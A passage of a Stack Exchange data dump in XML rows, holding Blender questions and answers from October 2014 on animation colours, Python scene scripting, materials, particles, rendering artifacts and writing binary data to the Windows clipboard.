  <row Id="16683" PostTypeId="1" CreationDate="2014-10-11T08:49:53.497" Score="1" ViewCount="165" Body="&lt;p&gt;I'm getting the hang of the animation tools for blender, but I need to add colour to my scenes, but I'd like to make the colours for my already existing animations, and future ones.&lt;/p&gt;&#xA;&lt;p&gt;So I'd like my idle animation to pick one colour then the corresponding animation to be that same colour, and when the idle animation appears again a new random colour appears.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdOOj.png&quot; alt=&quot;picture of idle&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is picture of idle character, but the idea is a player flicks the character at the world behind him, and splats on the surface, but I'd like to add in some colour, and It needs to be a random colour, each time the idle is reset.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rn1MD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So I need to add a random colour to the idle character, and the same colour to the corresponding animation, because the character goes in different direction, depending on which way the player flicks the character.&lt;br /&gt;&#xA;Thank you&#xA;R.D&lt;/p&gt;&#xA;" OwnerUserId="6265" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-11T13:42:24.000" Title="Add random colour to animations" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16684" PostTypeId="2" ParentId="16675" CreationDate="2014-10-11T09:49:25.020" Score="1" Body="&lt;p&gt;Unfortunately you can't use the &lt;em&gt;Mirror Modifier&lt;/em&gt; with the BGE this way. When you apply the character's &lt;em&gt;Mirror Modifier&lt;/em&gt; everything will work as expected. I only added this as an answer because &lt;a href=&quot;https://blender.stackexchange.com/questions/14986/blender-game-character-is-not-responding-to-game-logic&quot;&gt;Blender game character is not responding to game logic&lt;/a&gt; has no accepted answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RRNrQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-10-11T09:49:25.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16685" PostTypeId="2" ParentId="16679" CreationDate="2014-10-11T10:07:03.230" Score="2" Body="&lt;p&gt;No, you can't re-order them. If the enums are defined in Python its possible to unregister the property and re-register a new enum, based on the old one but with a different ordering, however that seems like an awful lot of effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, its not supported.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-11T10:07:03.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16688" PostTypeId="1" CreationDate="2014-10-11T11:24:58.723" Score="4" ViewCount="1921" Body="&lt;p&gt;I have an object that I got by accessing &lt;code&gt;bpy.data.objects[]&lt;/code&gt; by its index. I later call &lt;code&gt;.copy()&lt;/code&gt; on this object to copy it and it works, I get a copy but it isn't added to the scene, how would I go about adding the copy to the scene?&lt;/p&gt;&#xA;" OwnerUserId="6436" LastEditorUserId="2217" LastEditDate="2016-12-19T23:08:59.577" LastActivityDate="2020-04-23T17:06:07.147" Title="How to add an object to the scene through python" Tags="&lt;python&gt;&lt;objects&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16689" PostTypeId="2" ParentId="16688" CreationDate="2014-10-11T11:42:03.760" Score="6" Body="&lt;p&gt;I figured it out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.objects.link(object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6436" LastActivityDate="2014-10-11T11:42:03.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16691" PostTypeId="2" ParentId="16681" CreationDate="2014-10-11T12:27:19.007" Score="1" Body="&lt;p&gt;The container for fcurves are actions. So you need to find the corresponding action for the strip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;track = C.active_object.animation_data.tracks[0]&#xA;#get the action from the first strip&#xA;action = track.strips[0].action&#xA;&#xA;for fcu in action.fcurves:&#xA;    print(fcu.data_path, fcu.array_index)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-10-11T12:27:19.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16692" PostTypeId="2" ParentId="16669" CreationDate="2014-10-11T12:50:46.957" Score="0" Body="&lt;p&gt;Blender uses operators to perform actions. See the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/info_quickstart.html#example-operator&quot; rel=&quot;nofollow&quot;&gt;api documentation&lt;/a&gt; and the &lt;code&gt;Operator Simple&lt;/code&gt; template (Text editor -&gt; Header Menu -&gt; Templates -&gt; Python) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A button is added in the draw function of a subclass of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.Panel.html?highlight=panel#module-bpy.types&quot; rel=&quot;nofollow&quot;&gt;bpy.types.Panel&lt;/a&gt; via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.operator(bl_idname)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-10-11T12:50:46.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16693" PostTypeId="2" ParentId="16683" CreationDate="2014-10-11T13:16:36.740" Score="1" Body="&lt;p&gt;You could create vertex-groups for each ring that should get another color when when hit by the character like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q1P7l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign each ring its own material with the same color at the beginning. When the character hits the background object determine which polygon has been hit by a technique described here:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/13790/how-do-i-make-a-weapon-shoot-at-the-center-of-the-screen/13903#13903&quot;&gt;How do I make a weapon shoot at the center of the screen?&lt;/a&gt; find the face hit by the character and set the material's color to a random color, this would change the color of faces (because all of the them share this material).&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-10-11T13:16:36.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16695" PostTypeId="1" AcceptedAnswerId="16707" CreationDate="2014-10-11T14:14:27.673" Score="7" ViewCount="679" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YIWsl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to achieve exactly the same as is described in &lt;a href=&quot;https://sites.google.com/a/blendercycles.com/www/tutorials/map&quot; rel=&quot;noreferrer&quot;&gt;this blog post&lt;/a&gt;, except that I need a &lt;em&gt;world&lt;/em&gt; map with &lt;em&gt;countries&lt;/em&gt; extruded. Unfortunately, it is not provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to blender and I'm really astonished by the result. However, I'm a bit surprised that one has to do all this by hand, &lt;a href=&quot;http://www.naturalearthdata.com/&quot; rel=&quot;noreferrer&quot;&gt;map data being openly available&lt;/a&gt; with &lt;a href=&quot;https://github.com/GeospatialPython/pyshp&quot; rel=&quot;noreferrer&quot;&gt;python support&lt;/a&gt;. Wouldn't it be possible to script all this?&lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="765" LastEditDate="2014-10-11T14:38:50.207" LastActivityDate="2017-05-04T18:45:56.197" Title="Scripting the modeling of a plane world map" Tags="&lt;modeling&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16698" PostTypeId="1" CreationDate="2014-10-11T16:34:15.100" Score="3" ViewCount="1431" Body="&lt;p&gt;(skip this first paragraph to get straight to the question) I have been attempting to augment my workflow in a little-known game engine for a game called &quot;Natural Selection 2&quot;, and my plan is to be able to Ctrl+C from the level editor, run a script in Blender to import the data, then be able to run another script to export the modified data to the clipboard, then simply Ctrl+V back in the editor.  This is MUCH faster than saving/loading a couple of files, and for the most part, I've got it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I have code that works!  Except in Blender, that is... sometimes...  I'll explain below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from ctypes import *&#xA;from binascii import *&#xA;from struct import *&#xA;from time import sleep&#xA;&#xA;memcpy = cdll.msvcrt.memcpy&#xA;kernel32 = windll.kernel32&#xA;user32 = windll.user32&#xA;&#xA;user32.OpenClipboard(None)&#xA;user32.EmptyClipboard()&#xA;&#xA;CF_SPARK = user32.RegisterClipboardFormatW(&quot;application/spark editor&quot;)&#xA;GPTR = 0x0040&#xA;&#xA;sampleString = b''&#xA;sampleString +=pack('L', 1)&#xA;sampleString +=pack('L', 268)&#xA;sampleString += b'sheetsmellssheetsmellsbythesheetstore'&#xA;&#xA;hexlify(sampleString) ########### 1&#xA;&#xA;length = len(sampleString)&#xA;memory_handle = kernel32.GlobalAlloc(GPTR,length)&#xA;error = kernel32.GetLastError()&#xA;print(&quot;error= &quot;,error) ########## 2&#xA;data_point = kernel32.GlobalLock(memory_handle)&#xA;error = kernel32.GetLastError()&#xA;print(&quot;error= &quot;,error) ########## 3&#xA;&#xA;for i in range(0,length): &#xA;    value = int.from_bytes((sampleString[i:i+1]), byteorder='little')&#xA;    memset(data_point+i,value,1)&#xA;&#xA;kernel32.GlobalUnlock(memory_handle)&#xA;error = kernel32.GetLastError()&#xA;print(&quot;error= &quot;,error) ########## 4&#xA;user32.SetClipboardData(CF_SPARK,memory_handle)&#xA;error = kernel32.GetLastError()&#xA;print(&quot;error= &quot;,error) ########## 5&#xA;user32.CloseClipboard()&#xA;print(&quot;finished&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See, this code runs perfectly fine from IDLE, even if I comment out all the lines with the ####### on them.  But here's the thing... when running the script from BLENDER... those lines are CRITICAL.  Why?  I don't have a darn clue.  They're just print statements, they should be completely inconsequential... right?  But if I comment them out and run the script, 1 of 2 things happens: 1) The clipboard is just empty when the script finishes, or 2) I get an &quot;access violation&quot; for the memory location of 0x0000000000000000... which is DEFINITELY not where it's supposed to be looking.  Does anybody know what could be causing this?  I mean... the script works, and I guess I could just learn to live with this... but it really bothers me that it mysteriously fails under those conditions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.&#xA;If anybody knows of a better way to do this, I'm all ears.  But, any alternative solution MUST: 1) Be able to write BINARY data to the clipboard (not plain text... BINARY) 2) Work for Windows (don't care about Mac or Linux here, as the game's tools are Win-only. 3) Work without relying on null-terminated strings, as the data I'm copying over is full of nulls.&#xA;Also, I would PREFER that the solution isn't difficult to install.  Here, I've chosen ctypes because it's part of the standard library -- no extra packages needed!  See, my hope is that I can release these scripts to the NS2 (natural selection 2) community and that would help people make better maps!  Since I'm not the only one using it, I'll have to provide installation instructions, and I'll be damned if I'm going to walk people through the bajillion steps it takes to get pywin32 working in Blender (I couldn't).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!  Thanks for reading!  -Beige&lt;/p&gt;&#xA;" OwnerUserId="6448" LastActivityDate="2014-10-11T16:34:15.100" Title="Using Python to write to the Windows clipboard (BINARY data, not plaintext)" Tags="&lt;python&gt;&lt;export&gt;&lt;windows&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-06-09T13:06:51.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="16699" PostTypeId="1" AcceptedAnswerId="16700" CreationDate="2014-10-11T16:53:42.357" Score="4" ViewCount="787" Body="&lt;p&gt;I have a big scene, and about all the objects are linked from a lot of different files...&#xA;But know, for transportation and rendering purpose, i wanna include them all into one single file?&#xA;it should be a simple solution..&lt;/p&gt;&#xA;" OwnerUserId="6433" LastActivityDate="2014-10-11T17:28:56.213" Title="How to include linked objects?" Tags="&lt;blend-files&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16700" PostTypeId="2" ParentId="16699" CreationDate="2014-10-11T17:28:56.213" Score="5" Body="&lt;p&gt;Press &lt;kbd&gt;L&lt;/kbd&gt; or search for &lt;code&gt;Make Local&lt;/code&gt; using the space bar menu and choose &lt;code&gt;All&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-10-11T17:28:56.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16702" PostTypeId="1" CreationDate="2014-10-11T18:07:58.947" Score="1" ViewCount="841" Body="&lt;p&gt;I have made a simple tree in Blender, which includes materials; However, when I import the objects &lt;a href=&quot;http://en.wikipedia.org/wiki/LibGDX&quot; rel=&quot;nofollow noreferrer&quot;&gt;libGDX&lt;/a&gt;, they don't have their materials. In Blender it seems fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the materials transferred over?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SxDhv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6449" LastEditorUserId="3078" LastEditDate="2014-10-11T18:21:36.290" LastActivityDate="2020-02-06T10:02:05.263" Title="Why do the objects imported to libGDX look white?" Tags="&lt;materials&gt;&lt;export&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16703" PostTypeId="1" CreationDate="2014-10-11T18:47:20.000" Score="4" ViewCount="380" Body="&lt;p&gt;I've started building a procedure for systematically generating a Cycles material and it has evolved into a involved process; So, I wanted to query the community before putting too much effort into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My procedure involves taking two photos of a planar surface at two different angles using a flash (and no other external light) and derive a &quot;hardness&quot; value for each color band as well as a surface normal/bump map and a normalized image map.  The procedure is entirely programmatic and I use Python/Numpy/SciPy and PIL to output the property values automatically given two image files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling doesn't find me much but it might be that my Blender vocabulary is not advanced enough.  I only just started using Blender but am fairly knowledgeable in the physics of radiant energy.&lt;/p&gt;&#xA;" OwnerUserId="6452" LastEditorUserId="6452" LastEditDate="2014-10-11T20:00:23.477" LastActivityDate="2014-11-03T15:48:51.797" Title="Is there an established procedure for programmatically creating a Cycles material to match a physical one?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16704" PostTypeId="1" CreationDate="2014-10-11T18:48:43.120" Score="5" ViewCount="1944" Body="&lt;p&gt;I have created a nice procedural wood material for cycles (Blender 2.72).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that it looks very different when rendered and when baked. The baked result is very grainy and rough (invariant to number of samples which i keep the same for both render and bake).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LKOr9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems the problem comes from Musgrave Texture generator, which i use to generate the wood grain and vessels. I tested it alone, and the baked result contains much more grain and it misses many shades of grey compared to rendered result (note that the num. of samples is the same and all viewed 1:1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lmZAM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to ask if there is any trick how to get the baked result looking more similar to rendered result. Or is there any hidden sampling option which affects procedural generators while baking? Thank you&lt;/p&gt;&#xA;" OwnerUserId="6450" LastActivityDate="2014-10-11T18:48:43.120" Title="Why procedural musgrave texture gives different results when rendered and when baked?" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-10-22T23:36:39.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="16706" PostTypeId="2" ParentId="14711" CreationDate="2014-10-11T19:41:28.823" Score="4" Body="&lt;p&gt;It doesn't. Cycles is a backwards ray tracer, which means a that, in each sample, for each pixel, it sends out a ray into the scene, which then bounces off any object it finds in it's way, depending on it's materials, or it goes on into infinity - the background. When a ray reaches the background, each surface it hit get a proper color, depending on it's material and the bounces the ray did. So if a ray was to bounce out of the view and get clamped, then most things would fail, including shadows and reflections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way it works on games is entirely different, because they use a different rendering technique, and a lot of Baking.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-10-11T19:41:28.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16707" PostTypeId="2" ParentId="16695" CreationDate="2014-10-11T19:46:56.233" Score="5" Body="&lt;p&gt;I think the easiest way to do what you want is to find a map in SVG format that has the elements you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Import it into Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0uzGl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you don't have the Imprt as SGV menu available you need to enable the addon in the UserPreferences &lt;Kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TXxSR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The map will be a series of curves that you can then extrude at will&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKCe0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using the controls for extrusion on the curve tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kVikd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The naming for the curves is inherited from the naming of the curves in the original SVG file. You might want to edit that in Inkscape or Illustrator before bringing those over to Blender, or maybe you are lucky enough to find a SVG map that has the naming already done!&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-10-11T20:22:31.483" LastActivityDate="2014-10-11T20:22:31.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17702" PostTypeId="1" AcceptedAnswerId="17703" CreationDate="2014-10-11T20:49:22.117" Score="4" ViewCount="691" Body="&lt;p&gt;When I try to render a glass material, in rendered view it looks good, but when rendered, I get this wavy effect and black outlines. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JiOXn.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tnpKl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Polygon detail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ubfVn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scene is just a glass object with a glass material, background with a texture with a Diffuse shader and a lighting setup of two plane emissions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Glass: 4 levels of subdivision surface modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Background: 4 levels of subdivision surface modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;2 plane emissions, with no modifiers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;80 samples.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What is causing that and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;http://www.pasteall.org/blend/32038&quot; rel=&quot;nofollow noreferrer&quot;&gt;the file&lt;/a&gt; if anybody wants to explore it.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-10-11T22:47:22.067" LastActivityDate="2014-10-11T22:47:22.067" Title="Object appears jagged in final render?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;modifiers&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17703" PostTypeId="2" ParentId="17702" CreationDate="2014-10-11T21:30:29.927" Score="6" Body="&lt;p&gt;The subsurf modifier on the glass object is disabled in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the camera icon the subsurf modifier is selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPXJz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-11T21:52:39.017" LastActivityDate="2014-10-11T21:52:39.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17704" PostTypeId="1" AcceptedAnswerId="17789" CreationDate="2014-10-11T22:07:00.660" Score="7" ViewCount="2872" Body="&lt;p&gt;I have tried using the Subframes option. It hasn't done a thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have an object which gives off 3 particles into the air.  I have an Icosphere object on a different layer with a particle instance modifier on it.  That allows me to add a particle system to the Icosphere to create some awesome particle trails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/76236043/imgs/clump.png&quot; alt=&quot;CLUMPING IS BAD&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the particle system that is attached to the Icosphere creates clumps of particles on each frame.  I am wanting a nice, smooth stream of particles being emitted from the main particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix this, or does the Subframes option not work with the Particle Instance modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my .blend file: &lt;a href=&quot;https://db.tt/DhdNlo3h&quot; rel=&quot;noreferrer&quot;&gt;https://db.tt/DhdNlo3h&lt;/a&gt;&#xA;I am using Blender 2.72&lt;/p&gt;&#xA;" OwnerUserId="5505" LastEditorUserId="5505" LastEditDate="2014-10-12T14:56:03.467" LastActivityDate="2020-10-29T00:46:16.973" Title="Particles are clumping on each frame" Tags="&lt;particles&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17705" PostTypeId="1" CreationDate="2014-10-11T23:19:53.787" Score="0" ViewCount="283" Body="&lt;p&gt;I have an array with two different objects as the StartCap and EndCap. So far everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want another object (let us call it ObjRight) to be offsetted from the EndCap object, so when I increase the Array Count, ObjRight will follow the EndCap as the array increase/decrease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest thing would be to just join the ObjRight with the EndCap but I need them to be separate objects where EndCap is ObjRight's parent.&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="639" LastEditDate="2014-10-12T16:24:04.670" LastActivityDate="2014-10-16T03:09:13.770" Title="Parenting to an array end cap" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17706" PostTypeId="2" ParentId="16594" CreationDate="2014-10-11T23:29:51.887" Score="11" Body="&lt;p&gt;In real life these effects are caused by particles in the air such as water droplets, which reflect and scatter light. &lt;a href=&quot;https://www.google.com/search?q=rain%20headlights&amp;amp;tbm=isch&quot; rel=&quot;nofollow noreferrer&quot;&gt;Usually these effects are only clearly visible when there is not a lot of other light sources, such as at night&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case it looks like you are going for a more non-photorealistic look, so you may want to give up on trying to simulate the scattering and just use an emission shader.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add some cones to act as the light sources.&lt;br&gt;&#xA;Note that they shouldn't intersect or contain non-manifold goemtry. If you want to intersect them, use a boolean modifier or a remesh modifier to make the final geometry intersection free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EYzN5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add some nodes with a horizontal gradient to fade the intensity of the emitted light out before the hard edge at the end of the cone. Note that this particular mapping setup assumes that the origin of the cone is at the point, and that the rotation is &lt;em&gt;not&lt;/em&gt; applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9n7bY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I also made it so the cone material doesn't illuminate other objects, as I wanted to do the illumination only with spot lamps to further reduce noise. The last mix shader is optional.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are some limitations, for instance there are no volumetric shadows. But not too bad for converging in about 20 samples :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1QzRN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/268/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=268&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-06-13T19:04:34.303" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17707" PostTypeId="1" CreationDate="2014-10-12T00:52:32.880" Score="1" ViewCount="627" Body="&lt;p&gt;&lt;br&gt;&#xA;I have a pretty weird problem with particle systems in blender, been looking for an answer for about 10 hours now. Here's the deal:&lt;br&gt;&lt;br&gt;&#xA;I'm trying to model some money effect.&lt;br&gt;&#xA;I created a plane with texture and physics (cloth) applied to it, and a separate particle system. But when I try to apply a particle instance to my plane for the particle systems, &lt;b&gt;the physics&lt;/b&gt; (that were working perfectly with my plane) &lt;b&gt;now don't work&lt;/b&gt;. My particles keep bouncing when falling on the collision plane beneath.&lt;br&gt;&#xA;It only seems to work when  I set the start and the end of the emission to 1. When I try to set different values (e.g. start:1, end:50), my physics is gone.&lt;br&gt;&lt;br&gt;&#xA;It may be that I'm missing something here, but I truly can't find an answer.&lt;br&gt;&lt;br&gt;&#xA;Thanks for each helpful answer.&lt;/p&gt;&#xA;" OwnerUserId="7453" LastEditorUserId="599" LastEditDate="2014-10-12T19:11:41.737" LastActivityDate="2014-10-12T19:11:41.737" Title="Cloth simulated object particles don't simulate when start and end emission frames are different" Tags="&lt;particles&gt;&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17708" PostTypeId="1" CreationDate="2014-10-12T03:58:58.207" Score="1" ViewCount="32" Body="&lt;p&gt;I imported an .obj model of my character from zbrush into blender. &#xA;After import I joined all the different objects using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; and started rigging, all went well until I saw that the deformation cuts the object at the strands where they were joined while animating. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on how I can make the character into one piece so that it doesn't cut or separate? &lt;/p&gt;&#xA;" OwnerUserId="6357" LastEditorUserId="241" LastEditDate="2014-10-12T13:15:22.227" LastActivityDate="2014-10-12T13:15:22.227" Title="Gaps appearing in rigged humanoid model form zbrush?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;mesh&gt;&lt;rigging&gt;&lt;import&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-10-12T14:59:21.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="17710" PostTypeId="1" CreationDate="2014-10-12T07:59:38.643" Score="1" ViewCount="34" Body="&lt;p&gt;When i opened up my blender file it suddenly inverted all the lightings of the Solid OpenGl lights and whatsoever. I tried to fix it up but it still wouldn't..!&#xA;-- Added Explanation as to my reply to someone's comment below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to blender so i can't explain much what's going on. When we make a model from scratch, it becomes all gray cause that's the basic color right? Awhile ago when i opened up my blender file it suddenly turned black.. I tried to ignore it and made the leg part, the leg is now gray but the head is still black. When i tried to move the direction lights, the head became gray and the leg became black.. ( I don't know if that made any sense)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/M2S8F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6447" LastEditorUserId="2859" LastEditDate="2014-10-12T09:21:26.867" LastActivityDate="2014-10-12T09:21:26.867" Title="Inverted Solid OpenGL lights?" Tags="&lt;normals&gt;&lt;opengl&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2014-10-12T13:53:31.880" ContentLicense="CC BY-SA 